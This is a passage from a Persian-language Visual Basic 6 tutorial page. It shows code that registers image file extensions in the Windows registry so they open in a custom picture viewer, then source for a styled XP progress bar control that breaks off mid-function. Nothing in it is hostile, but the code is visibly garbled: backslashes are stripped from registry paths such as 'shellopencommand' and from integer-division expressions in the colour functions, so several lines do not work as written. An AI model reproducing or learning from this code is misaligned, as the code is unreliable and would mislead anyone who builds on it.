    RegisterFile ".EMF"

    On Error Resume Next

    If Len(Command()) > 0 Then Image1.Picture = LoadPicture(FixPath(Command()))

End Sub

Private Sub RegisterFile(strPasvand As String)

    Dim sKeyName As String   ' Holds Key Name in registry.

    Dim sKeyValue As String  ' Holds Key Value in registry.

    Dim ret&           ' Holds error status if any from API calls.

    Dim lphKey&        ' Holds  key handle from RegCreateKey.

    Dim path As String

    path = App.path

    If Right(path, 1) <> "" Then

       path = path & ""

    End If

    ' This creates a Root entry called "PicturePreview".

    sKeyName = "PicturePreview" ' Project Name

    sKeyValue = "Picture"

    ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&)

    ret& = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&)

    ' This creates a Root entry called .BMP;.JPG;.GIF;.WMF associated with "PicturePreview".

    sKeyName = strPasvand

    sKeyValue = "PicturePreview" ' Project Name

    ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&)

    ret& = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&)

    ' This sets the command line for "PicturePreview".

    sKeyName = "PicturePreview" ' Project Name

    sKeyValue = path & App.EXEName & ".exe %1"

    ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&)

    ret& = RegSetValue&(lphKey&, "shellopencommand", REG_SZ, sKeyValue, MAX_PATH)

    ' This sets the icon for the file extension

    sKeyName = "PicturePreview" ' Project Name

    sKeyValue = path & "MyIcon.ico"

    ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&)

    ret& = RegSetValue&(lphKey&, "DefaultIcon", REG_SZ, sKeyValue, MAX_PATH)

    ' This notifies the shell that the icon has changed

    SHChangeNotify SHCNE_ASSOCCHANGED, SHCNF_IDLIST, 0, 0

End Sub

Public Function FixPath(strPath As String) As String

    Dim strTemp As String

    strTemp = strPath

    strChar = """"

    If Len(strTemp) > 0 Then

        If Mid(strTemp, 1, 1) = strChar Then strTemp = Right(strTemp, Len(strTemp) - 1)

        If Mid(strTemp, Len(strTemp), 1) = strChar Then strTemp = Left(strTemp, Len(strTemp) - 1)

    End If

    FixPath = strTemp

End Function

خوب حالا از برنامتون یک فایل .exe بسازید و همچنین یک آیکون با نام MyIcon.ico کنار فایل اجرایی که ساختید قرار بدید.

توجه : همیشه یک آیکون باید با نام MyIcon.ico در کنار فایل اجرایی وجود داشته باشد در غیر اینصورت شکل فایل های تصویری (Jpeg ، Bitmap و غیره) به شکل ناشناخته در میان.

نکته: برنامه حداقل باید یک بار اجرا شود تا تاثیرات خود را روی ویندوز و فایل های تصویری بگذارد.

حالا برنامه اجرایی رو اجرا کنید و دوباره ببندید و روی یک عکس دوبار کلیک کنید و از منوی Open With… برنامه تون رو اجرا کنید و نتیجه رو در برنامه تون ببینید.

شما میتونید اینکار و برای هر برنامه ای و هر فایلی انجام بدید مثلا برنامه Notepad .

امیدوارم که به دردتون بخوره و شما هم نظر بدید

چگونگی ایجاد یک Progress زیبا در ویژوال بیسیک 6 :

<p align="left">Option Explicit</p>

<p align="left">Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long</p>
<p align="left">Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long</p>
<p align="left">Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long</p>
Private Declare Function CreateDC Lib "gdi32" Alias "CreateDCA" (ByVal lpDriverName As String, ByVal lpDeviceName As String, ByVal lpOutput As String, lpInitData As Any) As Long
Private Declare Function CreateHatchBrush Lib "gdi32" (ByVal fnStyle As Integer, ByVal COLORREF As Long) As Long
Private Declare Function CreatePatternBrush Lib "gdi32" (ByVal hBitmap As Long) As Long
Private Declare Function CreatePen Lib "gdi32" (ByVal nPenStyle As Long, ByVal nWidth As Long, ByVal crColor As Long) As Long
Private Declare Function CreateSolidBrush Lib "gdi32" (ByVal crColor As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function DrawText Lib "user32" Alias "DrawTextA" (ByVal hdc As Long, ByVal lpStr As String, ByVal nCount As Long, lpRect As RECT, ByVal wFormat As Long) As Long
Private Declare Function DrawEdge Lib "user32" (ByVal hdc As Long, qrc As RECT, ByVal edge As Long, ByVal grfFlags As Long) As Long
Private Declare Function FillRect Lib "user32" (ByVal hdc As Long, lpRect As RECT, ByVal hBrush As Long) As Long
Private Declare Function FrameRect Lib "user32" (ByVal hdc As Long, lpRect As RECT, ByVal hBrush As Long) As Long
Private Declare Function GetClientRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long
Private Declare Function GetSysColor Lib "user32" (ByVal nIndex As Long) As Long
Private Declare Function LineTo Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long) As Long
Private Declare Function MoveToEx Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long, lpPoint As POINTAPI) As Long
Private Declare Function PatBlt Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal dwRop As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
Private Declare Function SetBkColor Lib "gdi32" (ByVal hdc As Long, ByVal crColor As Long) As Long
Private Declare Function SetBkMode Lib "gdi32" (ByVal hdc As Long, ByVal nBkMode As Long) As Long
Private Declare Function SetPixelV Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long, ByVal crColor As Long) As Long
Private Declare Function SetTextColor Lib "gdi32" (ByVal hdc As Long, ByVal crColor As Long) As Long

'=====================================================
'TEXT FORMAT CONST
Const DT_SINGLELINE   As Long = &H20
Const DT_CALCRECT     As Long = &H400
'=====================================================

'=====================================================
'BORDER FIELD CONST
Const BF_BOTTOM = &H8
Const BF_LEFT = &H1
Const BF_RIGHT = &H4
Const BF_TOP = &H2
Const BF_RECT = (BF_LEFT Or BF_TOP Or BF_RIGHT Or BF_BOTTOM)
'=====================================================

'=====================================================
'THE POINTAPI STRUCTURE
Private Type POINTAPI
    X As Long                       ' The POINTAPI structure defines the x- and y-coordinates of a point.
    Y As Long
End Type
'=====================================================

'=====================================================
'THE RECT STRUCTURE
Private Type RECT
    Left      As Long     'The RECT structure defines the coordinates of the upper-left and lower-right corners of a rectangle
    Top       As Long
    Right     As Long
    Bottom    As Long
End Type
'=====================================================

'=====================================================
'THE BRUSHSTYLE ENUM
Public Enum BrushStyle
 HS_HORIZONTAL = 0
 HS_VERTICAL = 1
 HS_FDIAGONAL = 2
 HS_BDIAGONAL = 3
 HS_CROSS = 4
 HS_DIAGCROSS = 5
 HS_SOLID = 6
End Enum
'=====================================================

'=====================================================
'THE COOL XP PROGRESSBAR 2.0 STYLES
Public Enum cScrolling
    ccScrollingStandard = 0
    ccScrollingSmooth = 1
    ccScrollingSearch = 2
    ccScrollingOfficeXP = 3
    ccScrollingPastel = 4
    ccScrollingJavT = 5
    ccScrollingMediaPlayer = 6
    ccScrollingCustomBrush = 7
    ccScrollingPicture = 8
    ccScrollingMetallic = 9
End Enum
'=====================================================

'=====================================================
'THE ORIENTATION ENUM
Public Enum cOrientation
    ccOrientationHorizontal = 0
    ccOrientationVertical = 1
End Enum
'=====================================================

'----------------------------------------------------
Private m_Color       As OLE_COLOR
Private m_hDC         As Long
Private m_hWnd        As Long        'PROPERTIES VARIABLES
Private m_Max         As Long
Private m_Min         As Long
Private m_Value       As Long
Private m_ShowText    As Boolean
Private m_Scrolling   As cScrolling
Private m_Orientation As cOrientation
Private m_Brush       As BrushStyle
Private m_Picture     As StdPicture
'----------------------------------------------------

'----------------------------------------------------
Private m_MemDC    As Boolean
Private m_ThDC     As Long
Private m_hBmp     As Long
Private m_hBmpOld  As Long
Private iFnt       As IFont
Private m_fnt      As IFont          'VARIABLES USED IN PROCESS
Private hFntOld    As Long
Private m_lWidth   As Long
Private m_lHeight  As Long
Private fPercent   As Double
Private TR         As RECT
Private TBR        As RECT
Private TSR        As RECT
Private AT         As RECT
Private lSegmentWidth   As Long
Private lSegmentSpacing As Long
'----------------------------------------------------

'==========================================================
'/---Draw ALL ProgressXP Bar  !!!!PUBLIC CALL!!!
'==========================================================

Public Sub DrawProgressBar()

           
            If m_Value > 100 Then m_Value = 100
           
           
            GetClientRect m_hWnd, TR               '//--- Reference = Control Client Area
             
            DrawFillRectangle TR, IIf(m_Scrolling = ccScrollingMediaPlayer, &H0, vbWhite), m_hDC '//--- Draw BackGround
           
            '//-- Draw ProgressBar Style
           
            '==========================================================
            '/---Draw METALLIC XP STYLE
            '==========================================================

            If m_Scrolling = ccScrollingMetallic Then
                  
                 DrawMetalProgressbar
                   

            '==========================================================
            '/---Draw OFFICE XP STYLE
            '==========================================================

            ElseIf m_Scrolling = ccScrollingOfficeXP Then
                  
                 DrawOfficeXPProgressbar
                   
            '==========================================================
            '/---Draw PASTEL XP STYLE
            '==========================================================

            ElseIf m_Scrolling = ccScrollingPastel Then
                
                 DrawPastelProgressbar
                
            '==========================================================
            '/---Draw JAVT XP STYLE
            '==========================================================

            ElseIf m_Scrolling = ccScrollingJavT Then
                
                 DrawJavTProgressbar
            
            '==========================================================
            '/---Draw MEDIA PLAYER XP STYLE
            '==========================================================
 
            ElseIf m_Scrolling = ccScrollingMediaPlayer Then
           
                 DrawMediaProgressbar
           
            '==========================================================
            '/---Draw CUSTOM BRUSH XP WASH COLOR STYLE
            '==========================================================

            ElseIf m_Scrolling = ccScrollingCustomBrush Then
           
                 DrawCustomBrushProgressbar
            
            '==========================================================
            '/---Draw PICTURE STYLE
            '==========================================================

            ElseIf m_Scrolling = ccScrollingPicture Then
           
                 DrawPictureProgressbar
      
            Else
           
            '==========================================================
            '/---Draw WINDOWS XP STYLE
            '==========================================================

           
                CalcBarSize                            '//--- Calculate Progress and Percent Values
 
                PBarDraw                               '//--- Draw Scolling Bar (Inside Bar)
                 
                If m_Scrolling = 0 Then DrawDivisions  '//--- Draw SegmentSpacing (This Will Generate the Blocks Effect)
 
                pDrawBorder                            '//--- Draw The XP Look Border
           
            End If
           
            '==========================================================
           
            DrawTexto                                  '//--- Draw The Percent Text
           
            '==========================================================
            '/---Use the AntiFlicker DC
            '==========================================================

            If m_MemDC Then
                With UserControl
                    pDraw .hdc, 0, 0, .ScaleWidth, .ScaleHeight, .ScaleLeft, .ScaleTop
                End With
            End If

End Sub

'==========================================================
'/---OFFICE XP STYLE
'==========================================================
Private Sub DrawOfficeXPProgressbar()
       
        DrawRectangle TR, ShiftColorXP(m_Color, 100), m_hDC
            
        With TBR
          .Left = 1
          .Top = 1
          .Bottom = TR.Bottom - 1
          .Right = TR.Left + (TR.Right - TR.Left) * (m_Value / 100)
        End With
            
        DrawFillRectangle TBR, ShiftColorXP(m_Color, 180), m_hDC
 
End Sub
'==========================================================
'/---JAVT XP STYLE
'==========================================================
Private Sub DrawJavTProgressbar()

       DrawRectangle TR, ShiftColorXP(m_Color, 10), m_hDC
       TBR.Right = TR.Left + (TR.Right - TR.Left) * (m_Value / 101)
       DrawGradient m_Color, ShiftColorXP(m_Color, 100), 2, 2, TR.Right - 2, TR.Bottom - 5, m_hDC ', True
       DrawGradient ShiftColorXP(m_Color, 250), m_Color, 3, 3, TBR.Right, TR.Bottom - 6, m_hDC  ', True
       DrawLine TBR.Right, 2, TBR.Right, TR.Bottom - 2, m_hDC, ShiftColorXP(m_Color, 25)
 
End Sub
'==========================================================
'/---PICTURE STYLE
'==========================================================
Private Sub DrawPictureProgressbar()

Dim Brush      As Long
Dim origBrush  As Long

       DrawEdge m_hDC, TR, 2, BF_RECT                       '//--- Draw ProgressBar Border
      
       If Nothing Is m_Picture Then Exit Sub                '//--- In Case No Picture is Choosen
             
       Brush = CreatePatternBrush(m_Picture.handle)         '//-- Use Pattern Picture Draw
       origBrush = SelectObject(m_hDC, Brush)
       TBR.Right = TR.Left + (TR.Right - TR.Left) * (m_Value / 101)
      
       PatBlt m_hDC, 2, 2, TBR.Right, TR.Bottom - 4, vbPatCopy
        
       SelectObject m_hDC, origBrush
       DeleteObject Brush
      
End Sub
'==========================================================
'/---PASTEL XP STYLE
'==========================================================
Private Sub DrawPastelProgressbar()
        DrawEdge m_hDC, TR, 6, BF_RECT
        DrawGradient ShiftColorXP(m_Color, 140), ShiftColorXP(m_Color, 200), 2, 2, TR.Left + (TR.Right - TR.Left - 4) * (m_Value / 100), TR.Bottom - 3, m_hDC, True
End Sub

'==========================================================
'/---METALLIC XP STYLE
'==========================================================
Private Sub DrawMetalProgressbar()
         TBR.Right = TR.Left + (TR.Right - TR.Left - 4) * (m_Value / 100)
        
         DrawGradient vbWhite, &HC0C0C0, 2, 2, TR.Right - 3, (TR.Bottom - 3) / 2, m_hDC
         DrawGradient BlendColor(&HC0C0C0, &H0, 255), &HC0C0C0, 2, (TR.Bottom - 3) / 2, TR.Right - 3, (TR.Bottom - 3) / 2, m_hDC
         DrawGradient ShiftColorXP(m_Color, 150), BlendColor(m_Color, &H0, 180), 2, 2, TBR.Right, (TR.Bottom - 3) / 2, m_hDC
         DrawGradient BlendColor(m_Color, &H0, 190), m_Color, 2, (TR.Bottom - 3) / 2, TBR.Right, (TR.Bottom - 3) / 2, m_hDC
       
         TR.Left = TR.Left + 3
         pDrawBorder
   
       
End Sub
'==========================================================
'/---CUSTOM BRUSH XP STYLE
'==========================================================
Private Sub DrawCustomBrushProgressbar()
       
   Dim hBrush As Long
   
   DrawEdge m_hDC, TR, 9, BF_RECT
      
   With TBR
      .Left = 2
      .Top = 2
      .Bottom = TR.Bottom - 2
      .Right = TR.Left + (TR.Right - TR.Left) * (m_Value / 101)
   End With

   hBrush = CreateHatchBrush(m_Brush, GetLngColor(Color))
   SetBkColor m_hDC, ShiftColorXP(m_Color, 140)
   FillRect m_hDC, TBR, hBrush
   DeleteObject hBrush
               
End Sub
'==========================================================
'/---MEDIA PROGRESS XP STYLE
'==========================================================
Private Sub DrawMediaProgressbar()
       
        DrawRectangle TR, BlendColor(m_Color, &H0, 200), m_hDC
        DrawGradient &H0&, ShiftColorXP(GetLngColor(BlendColor(m_Color, &H0, 100)), 10), 2, 2, TR.Left + (TR.Right - TR.Left - 5) * (m_Value / 100), TR.Bottom - 2, m_hDC, True

End Sub

'==========================================================
'/---Calculate Division Bars & Percent Values
'==========================================================

Private Sub CalcBarSize()

      lSegmentWidth = IIf(m_Scrolling = 0, 6, 0) '/-- Windows Default
      lSegmentSpacing = 2                        '/-- Windows Default
           
      TR.Left = TR.Left + 3
  
      LSet TBR = TR

      fPercent = m_Value / 98
       
      If fPercent < 0# Then fPercent = 0#
  
      If m_Orientation = 0 Then
     
      '=======================================================================================
      '                                 Calc Horizontal ProgressBar
      '---------------------------------------------------------------------------------------
        
         TBR.Right = TR.Left + (TR.Right - TR.Left) * fPercent
        
         TBR.Right = TBR.Right - ((TBR.Right - TBR.Left) Mod (lSegmentWidth + lSegmentSpacing))
        
         If TBR.Right < TR.Left Then
            TBR.Right = TR.Left
         End If
                 
      Else
     
      '=======================================================================================
      '                                 Calc Vertical ProgressBar
      '---------------------------------------------------------------------------------------
         fPercent = 1# - fPercent
         TBR.Top = TR.Top + (TR.Bottom - TR.Top) * fPercent
         TBR.Top = TBR.Top - ((TBR.Top - TBR.Bottom) Mod (lSegmentWidth + lSegmentSpacing))
         If TBR.Top > TR.Bottom Then TBR.Top = TR.Bottom
   
        
     
      End If

End Sub

'==========================================================
'/---Draw Division Bars
'==========================================================

Private Sub DrawDivisions()
 Dim i As Long
 Dim hBR As Long
 
  hBR = CreateSolidBrush(vbWhite)
 
      LSet TSR = TR
     
      
      If m_Orientation = 0 Then
     
     
      '=======================================================================================
      '                                 Draw Horizontal ProgressBar
      '---------------------------------------------------------------------------------------
         For i = TBR.Left + lSegmentWidth To TBR.Right Step lSegmentWidth + lSegmentSpacing
            TSR.Left = i + 1
            TSR.Right = i + 1 + lSegmentSpacing
            FillRect m_hDC, TSR, hBR
         Next i
      '---------------------------------------------------------------------------------------
     
      Else
     
      '=======================================================================================
      '                                  Draw Vertical ProgressBar
      '---------------------------------------------------------------------------------------
         For i = TBR.Bottom To TBR.Top + lSegmentWidth Step -(lSegmentWidth + lSegmentSpacing)
            TSR.Top = i - 2
            TSR.Bottom = i - 2 + lSegmentSpacing
            FillRect m_hDC, TSR, hBR
         Next i
       '---------------------------------------------------------------------------------------
     
      End If
     
      DeleteObject hBR
    
End Sub

'==========================================================
'/---Draw The ProgressXP Bar Border  ;)
'==========================================================

Private Sub pDrawBorder()
Dim RTemp As RECT
 
 TR.Left = TR.Left - 3
 
 Let RTemp = TR
 
 
 DrawLine 2, 1, TR.Right - 2, 1, m_hDC, &HBEBEBE
 DrawLine 2, TR.Bottom - 2, TR.Right - 2, TR.Bottom - 2, m_hDC, &HEFEFEF
 DrawLine 1, 2, 1, TR.Bottom - 2, m_hDC, &HBEBEBE
 DrawLine 2, 2, 2, TR.Bottom - 2, m_hDC, &HEFEFEF
 DrawLine 2, 2, TR.Right - 2, 2, m_hDC, &HEFEFEF
 DrawLine TR.Right - 2, 2, TR.Right - 2, TR.Bottom - 2, m_hDC, &HEFEFEF
 
 DrawRectangle TR, GetLngColor(&H686868), m_hDC

 
 Call SetPixelV(m_hDC, 0, 0, GetLngColor(vbWhite))
 Call SetPixelV(m_hDC, 0, 1, GetLngColor(&HA6ABAC))
 Call SetPixelV(m_hDC, 0, 2, GetLngColor(&H7D7E7F))
 Call SetPixelV(m_hDC, 1, 0, GetLngColor(&HA7ABAC)) '//TOP RIGHT CORNER
 Call SetPixelV(m_hDC, 1, 1, GetLngColor(&H777777))
 Call SetPixelV(m_hDC, 2, 0, GetLngColor(&H7D7E7F))
 Call SetPixelV(m_hDC, 2, 2, GetLngColor(&HBEBEBE))
  
 Call SetPixelV(m_hDC, 0, TR.Bottom - 1, GetLngColor(vbWhite))
 Call SetPixelV(m_hDC, 1, TR.Bottom - 1, GetLngColor(&HA6ABAC))
 Call SetPixelV(m_hDC, 2, TR.Bottom - 1, GetLngColor(&H7D7E7F))
 Call SetPixelV(m_hDC, 0, TR.Bottom - 3, GetLngColor(&H7D7E7F)) '//BOTTOM RIGHT CORNER
 Call SetPixelV(m_hDC, 0, TR.Bottom - 2, GetLngColor(&HA7ABAC))
 Call SetPixelV(m_hDC, 1, TR.Bottom - 2, GetLngColor(&H777777))
 
 Call SetPixelV(m_hDC, TR.Right - 1, 0, GetLngColor(vbWhite))
 Call SetPixelV(m_hDC, TR.Right - 1, 1, GetLngColor(&HBEBEBE))
 Call SetPixelV(m_hDC, TR.Right - 1, 2, GetLngColor(&H7D7E7F)) '//TOP LEFT CORNER
 Call SetPixelV(m_hDC, TR.Right - 2, 2, GetLngColor(&HBEBEBE))
 Call SetPixelV(m_hDC, TR.Right - 2, 1, GetLngColor(&H686868))
 
 Call SetPixelV(m_hDC, TR.Right - 1, TR.Bottom - 1, GetLngColor(vbWhite))
 Call SetPixelV(m_hDC, TR.Right - 1, TR.Bottom - 2, GetLngColor(&HBEBEBE))
 Call SetPixelV(m_hDC, TR.Right - 1, TR.Bottom - 3, GetLngColor(&H7D7E7F))
 Call SetPixelV(m_hDC, TR.Right - 2, TR.Bottom - 2, GetLngColor(&H777777)) '//TOP RIGHT CORNER
 Call SetPixelV(m_hDC, TR.Right - 2, TR.Bottom - 1, GetLngColor(&HBEBEBE))
 Call SetPixelV(m_hDC, TR.Right - 3, TR.Bottom - 1, GetLngColor(&H7D7E7F))

 
End Sub

'==========================================================
'/---Draw The ProgressXP Bar ;)
'==========================================================

Private Sub PBarDraw()
Dim TempRect As RECT
Dim ITemp    As Long

If m_Orientation = 0 Then

    If TBR.Right <= 14 Then TBR.Right = 12
       
    TempRect.Left = 4
    TempRect.Right = IIf(TBR.Right + 4 > TR.Right, TBR.Right - 4, TBR.Right)
    TempRect.Top = 8
    TempRect.Bottom = TR.Bottom - 8

    '=======================================================================================
    '                                 Draw Horizontal ProgressBar
    '---------------------------------------------------------------------------------------
  
        
     If m_Scrolling = ccScrollingSearch Then
         GoSub HorizontalSearch
     Else
        DrawGradient ShiftColorXP(m_Color, 150), m_Color, 4, 3, TempRect.Right, 6, m_hDC
        DrawFillRectangle TempRect, m_Color, m_hDC
        DrawGradient m_Color, ShiftColorXP(m_Color, 150), 4, TempRect.Bottom - 2, TempRect.Right, 6, m_hDC
     End If
Else
   
    TempRect.Left = 9
    TempRect.Right = TR.Right - 8
    TempRect.Top = TBR.Top
    TempRect.Bottom = TR.Bottom
   
    '=======================================================================================
    '                                 Draw Vertical ProgressBar
    '---------------------------------------------------------------------------------------
  
    If m_Scrolling = ccScrollingSearch Then
         GoSub VerticalSearch
    Else
        DrawGradient ShiftColorXP(m_Color, 150), m_Color, 4, TBR.Top, 4, TR.Bottom, m_hDC, True
        DrawFillRectangle TempRect, m_Color, m_hDC
        DrawGradient m_Color, ShiftColorXP(m_Color, 150), TR.Right - 8, TBR.Top, 4, TR.Bottom, m_hDC, True
    End If
  
    '--------------------   <-------- Gradient Color From (- to +)
    '||||||||||||||||||||   <-------- Fill Color
    '--------------------   <-------- Gradient Color From (+ to -)

End If

Exit Sub

HorizontalSearch:
   
   
    For ITemp = 0 To 2
   
        With TempRect
          .Left = TBR.Right + ((lSegmentSpacing + 10) * (ITemp)) - (45 * ((100 - m_Value) / 100))
          .Right = .Left + 10
          .Top = 8
          .Bottom = TR.Bottom - 8
          DrawGradient ShiftColorXP(m_Color, 220 - (40 * ITemp)), ShiftColorXP(m_Color, 200 - (40 * ITemp)), .Left, 3, 9, TR.Bottom - 2, m_hDC, True
        End With
       
    Next ITemp

Return

VerticalSearch:
   
    
    For ITemp = 0 To 2
   
        With TempRect
          .Left = 8
          .Right = TR.Right - 8
          .Top = TBR.Top + ((lSegmentSpacing + 10) * ITemp)
          .Bottom = .Top + 10
          DrawGradient ShiftColorXP(m_Color, 220 - (40 * ITemp)), ShiftColorXP(m_Color, 200 - (40 * ITemp)), TR.Right - 2, .Top, 2, 9, m_hDC
        End With
       
    Next ITemp

Return

End Sub

'======================================================================
'DRAWS THE PERCENT TEXT ON PROGRESS BAR
Private Function DrawTexto()
Dim ThisText As String
Dim isAlpha  As Boolean

If (m_Scrolling = ccScrollingMediaPlayer Or m_Scrolling = ccScrollingMetallic) Then isAlpha = True

 If m_Scrolling = ccScrollingSearch Then
    ThisText = "Searching.."
 Else
    ThisText = Round(m_Value) & " %"
 End If

 If (m_ShowText) Then
          
      Set iFnt = Font                             '//--New Font
      hFntOld = SelectObject(m_hDC, iFnt.hFont)   '//--Use the New Font
      SetBkMode m_hDC, 1                          '//--Transparent Text
    
      '//--Use the Alpha Text Color Look if Progress is MediaPlayer Style, else Normal (Gray)
      SetTextColor m_hDC, GetLngColor(IIf(m_Scrolling = ccScrollingMediaPlayer, &HC0C0C0, vbBlack))
     
      CalculateAlphaTextRect ThisText             '//--Calculate The Text Rectangle
          
      '//-- If ProgressBar is already over the Text don't draw the old text, yust draw the Alpha Text
           'It saves some memory
     
      If ((TR.Right * (m_Value / 100)) <= AT.Right) Or Not isAlpha Then
            DrawText m_hDC, ThisText, Len(ThisText), AT, DT_SINGLELINE
      End If
           
      SelectObject m_hDC, hFntOld  'Delete the Used Font
  
      '//--Use the Alpha Text Look if Progress is AlPhA Style
      If isAlpha Then DrawAlphaText ThisText
             
 End If

End Function
'======================================================================

'======================================================================
'ALPHA TEXT RECT FUNCTION
Private Sub CalculateAlphaTextRect(ByVal ThisText As String)

      '//--Calculates the Bounding Rects Of the Text using DT_CALCRECT
      DrawText m_hDC, ThisText, Len(ThisText), AT, DT_CALCRECT
      AT.Left = (TR.Right / 2) - ((AT.Right - AT.Left) / 2)
      AT.Top = (TR.Bottom / 2) - ((AT.Bottom - AT.Top) / 2)

End Sub
'======================================================================

'======================================================================
'ALPHA TEXT FUNCTION
Private Sub DrawAlphaText(ByVal ThisText As String)

 Set iFnt = Font                             '//--New Font
 hFntOld = SelectObject(m_hDC, iFnt.hFont)   '//--Use the New Font
 SetBkMode m_hDC, 1                          '//--Transparent Text
       
       
        '//-- This is When the Text is Drawn
            '//--Gives the Media Player Text Look (Changes Color When Progress is over the Text)
           
            If (TR.Right * (m_Value / 100)) >= AT.Left Then
                SetTextColor m_hDC, GetLngColor(IIf(m_Scrolling = ccScrollingMediaPlayer, ShiftColorXP(m_Color, 80), vbWhite))
                AT.Left = (TR.Right / 2) - ((AT.Right - AT.Left) / 2)
                AT.Right = (TR.Right * (m_Value / 100))
                DrawText m_hDC, ThisText, Len(ThisText), AT, DT_SINGLELINE
                SelectObject m_hDC, hFntOld
            End If

End Sub
'======================================================================

'======================================================================
'CONVERTION FUNCTION
Private Function GetLngColor(Color As Long) As Long
   
    If (Color And &H80000000) Then
        GetLngColor = GetSysColor(Color And &H7FFFFFFF)
    Else
        GetLngColor = Color
    End If
End Function
'======================================================================

'======================================================================
'DRAWS A BORDER RECTANGLE AREA OF AN SPECIFIED COLOR
Private Sub DrawRectangle(ByRef BRect As RECT, ByVal Color As Long, ByVal hdc As Long)

Dim hBrush As Long
   
    hBrush = CreateSolidBrush(Color)
    FrameRect hdc, BRect, hBrush
    DeleteObject hBrush

End Sub
'======================================================================

'======================================================================
'DRAWS A LINE WITH A DEFINED COLOR
Public Sub DrawLine( _
           ByVal X As Long, _
           ByVal Y As Long, _
           ByVal Width As Long, _
           ByVal Height As Long, _
           ByVal cHdc As Long, _
           ByVal Color As Long)

    Dim Pen1    As Long
    Dim Pen2    As Long
    Dim Outline As Long
    Dim POS     As POINTAPI

    Pen1 = CreatePen(0, 1, GetLngColor(Color))
    Pen2 = SelectObject(cHdc, Pen1)
   
        MoveToEx cHdc, X, Y, POS
        LineTo cHdc, Width, Height
         
    SelectObject cHdc, Pen2
    DeleteObject Pen2
    DeleteObject Pen1

End Sub
'======================================================================

'======================================================================
'BLENDS AN SPECIFIED COLOR TO GET XP COLOR LOOK
Private Function ShiftColorXP(ByVal MyColor As Long, ByVal Base As Long) As Long

    Dim R As Long, G As Long, B As Long, Delta As Long

    R = (MyColor And &HFF)
    G = ((MyColor &H100) Mod &H100)
    B = ((MyColor &H10000) Mod &H100)
   
    Delta = &HFF - Base

    B = Base + B * Delta &HFF
    G = Base + G * Delta &HFF
    R = Base + R * Delta &HFF

    If R > 255 Then R = 255
    If G > 255 Then G = 255
    If B > 255 Then B = 255

    ShiftColorXP = R + 256& * G + 65536 * B

End Function
'======================================================================

'======================================================================
'DRAWS A 2 COLOR GRADIENT AREA WITH A PREDEFINED DIRECTION
Public Sub DrawGradient(lEndColor As Long, lStartcolor As Long, ByVal X As Long, ByVal Y As Long, ByVal X2 As Long, ByVal Y2 As Long, ByVal hdc As Long, Optional bH As Boolean)
    On Error Resume Next
   
    ''Draw a Vertical Gradient in the current HDC
    Dim sR As Single, sG As Single, sB As Single
    Dim eR As Single, eG As Single, eB As Single
    Dim ni As Long
   
    lEndColor = GetLngColor(lEndColor)
    lStartcolor = GetLngColor(lStartcolor)

    sR = (lStartcolor And &HFF)
    sG = (lStartcolor &H100) And &HFF
    sB = (lStartcolor And &HFF0000) / &H10000
    eR = (lEndColor And &HFF)
    eG = (lEndColor &H100) And &HFF
    eB = (lEndColor And &HFF0000) / &H10000
    sR = (sR - eR) / IIf(bH, X2, Y2)
    sG = (sG - eG) / IIf(bH, X2, Y2)
    sB = (sB - eB) / IIf(bH, X2, Y2)
   
       
    For ni = 0 To IIf(bH, X2, Y2)
       
        If bH Then
            DrawLine X + ni, Y, X + ni, Y2, hdc, RGB(eR + (ni * sR), eG + (ni * sG), eB + (ni * sB))
        Else
            DrawLine X, Y + ni, X2, Y + ni, hdc, RGB(eR + (ni * sR), eG + (ni * sG), eB + (ni * sB))
        End If
       
    Next ni
End Sub
'======================================================================

'======================================================================
'BLENDS 2 COLORS WITH A PREDEFINED ALPHA VALUE
Private Function BlendColor(ByVal oColorFrom As OLE_COLOR, ByVal oColorTo As OLE_COLOR, Optional ByVal Alpha As Long = 128) As Long
Dim lCFrom As Long
Dim lCTo As Long
Dim lSrcR As Long
Dim lSrcG As Long
Dim lSrcB As Long
Dim lDstR As Long
Dim lDstG As Long
Dim lDstB As Long
  
   lCFrom = GetLngColor(oColorFrom)
   lCTo = GetLngColor(oColorTo)
  
   lSrcR = lCFrom And &HFF
   lSrcG = (lCFrom And &HFF00&) &H100&
   lSrcB = (lCFrom And &HFF0000) &H10000
   lDstR = lCTo And &HFF
   lDstG = (lCTo And &HFF00&) &H100&
   lDstB = (lCTo And &HFF0000) &H10000
  
   BlendColor = RGB( _
      ((lSrcR * Alpha) / 255) + ((lDstR * (255 - Alpha)) / 255), _
      ((lSrcG * Alpha) / 255) + ((lDstG * (255 - Alpha)) / 255), _
      ((lSrcB * Alpha) / 255) + ((lDstB * (255 - Alpha)) / 255) _
      )
     
End Function
'======================================================================

'======================================================================
'DRAWS A FILL RECTANGLE AREA OF AN SPECIFIED COLOR
Private Sub DrawFillRectangle(ByRef hRect As RECT, ByVal Color As Long, ByVal MyHdc As Long)

Dim hBrush As Long
 
   hBrush = CreateSolidBrush(GetLngColor(Color))
   FillRect MyHdc, hRect, hBrush
   DeleteObject hBrush

End Sub
'======================================================================

'======================================================================
'CHECKS-CREATES CORRECT DIMENSIONS OF THE TEMP DC
Private Function ThDC(Width As Long, Height As Long) As Long
